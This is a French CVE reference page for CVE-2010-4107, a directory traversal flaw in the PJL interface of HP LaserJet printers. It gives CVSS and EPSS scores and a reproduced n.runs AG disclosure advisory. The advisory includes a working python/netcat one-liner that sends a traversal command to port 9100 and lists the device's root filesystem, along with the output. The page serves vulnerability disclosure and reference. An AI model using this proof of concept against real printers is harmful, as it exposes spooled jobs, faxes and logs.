CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The default configuration of the PJL Access value in the File System External Access settings on HP LaserJet MFP printers, Color LaserJet MFP printers, and LaserJet 4100, 4200, 4300, 5100, 8150, and 9000 printers enables PJL commands that use the device's filesystem, which allows remote attackers to read arbitrary files via a command inside a print job, as demonstrated by a directory traversal attack.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.8
AV:N/AC:L/Au:N/C:C/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
11%
–
–
2022-04-03
–
–
11%
–
–
2022-05-22
–
–
11%
–
–
2023-03-12
–
–
–
10.54%
–
2023-08-27
–
–
–
7.37%
–
2023-12-10
–
–
–
6.54%
–
2024-02-25
–
–
–
6.54%
–
2024-03-03
–
–
–
8.97%
–
2024-04-21
–
–
–
8.97%
–
2024-06-02
–
–
–
8.97%
–
2024-06-02
–
–
–
8.97%
–
2024-10-06
–
–
–
5.66%
–
2024-11-03
–
–
–
5.66%
–
2024-12-22
–
–
–
8.08%
–
2025-01-05
–
–
–
10.45%
–
2025-01-19
–
–
–
10.45%
–
2025-03-18
–
–
–
–
21.37%
2025-03-30
–
–
–
–
29.97%
2025-03-30
–
–
–
–
29.97,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-11-28 23h00 +00:00 Auteur : n.runs AG EDB Vérifié : Yes
n.runs AG
http://www.nruns.com/ security(at)nruns.com
n.runs-SA-2010.003 16-Nov-2010
________________________________________________________________________
Vendor: Hewlett-Packard, http://www.hp.com
Affected Products: Various HP LaserJet MFP devices
(See HP advisory [3] for the complete list)
Vulnerability: Directory Traversal in PJL interface
Risk: HIGH
________________________________________________________________________
Vendor communication:
2009/11/25 Initial notification of Hewlett-Packard
2009/11/25 HP confirms receival of advisory
2010/02/05 n.runs AG requests update on the reported issue
2010/02/05 HP notifies n.runs AG that an advisory is in preparation
2010/11/15 Publication of HP advisory
________________________________________________________________________
Overview:
The Printer Job Language (PJL) was developed by Hewlett-Packard to
provide a method for switching printer languages at the job level
and for status exchange between the device and a host computer.
Besides the possibility to view and change parts of the printer's
configuration or modify control panel messages PJL allows some limited
form of file system access. PJL is used "above" other printer languages
such as PCL and is usually accessible on port 9100. Detailed
information about PJL can be found in the PJL Technical Reference
Manual [1].
Description:
A directory traversal vulnerability has been found in the PJL file
system access interface of various HP LaserJet MFP devices.
File system access through PJL is usually restricted to a specific
part of the file system. Using a pathname such as 0:\..\..\..\ it
is possible to get access to the complete file system of the device.
Proof of Concept:
The following command can be used to reproduce the problem. It lists
all files in the root directoy of the device:
$ python -c 'print "\x1b%-12345X () PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" \
ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100
@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
tmp TYPE=DIR
etc TYPE=DIR
xps TYPE=DIR
dsk_ide2a TYPE=DIR
dsk_ColorIQ TYPE=DIR
dsk_CustomIQ TYPE=DIR
bootdev TYPE=DIR
dsk_jdi TYPE=DIR
dsk_jdi_ss TYPE=DIR
dsk_af TYPE=DIR
lrt TYPE=DIR
webServer TYPE=DIR
Impact:
This vulnerability allows sensitive information to be disclosed
and potentially be modified. This includes spooled print jobs,
received faxes, log files or other settings of the device.
Solution:
See the HP advisory [3] for possible workarounds.
________________________________________________________________________
Credit:
Bug found by Moritz Jodeit of n.runs AG.
________________________________________________________________________
References:
[1]
http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pd
f
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4107
[3]
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c0200
4333
This Advisory and Upcoming Advisories:
http://www.nruns.com/security_advisory.php
________________________________________________________________________
Unaltered electronic reproduction of this advisory is permitted. For all
other reproduction or publication, in printing or otherwise, contact
security () nruns com for permission. Use of the advisory constitutes
acceptance for use in an "as is" condition. All warranties are excluded. In
no event shall n.runs be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages, even if n.runs has been advised of the possibility of such damages.
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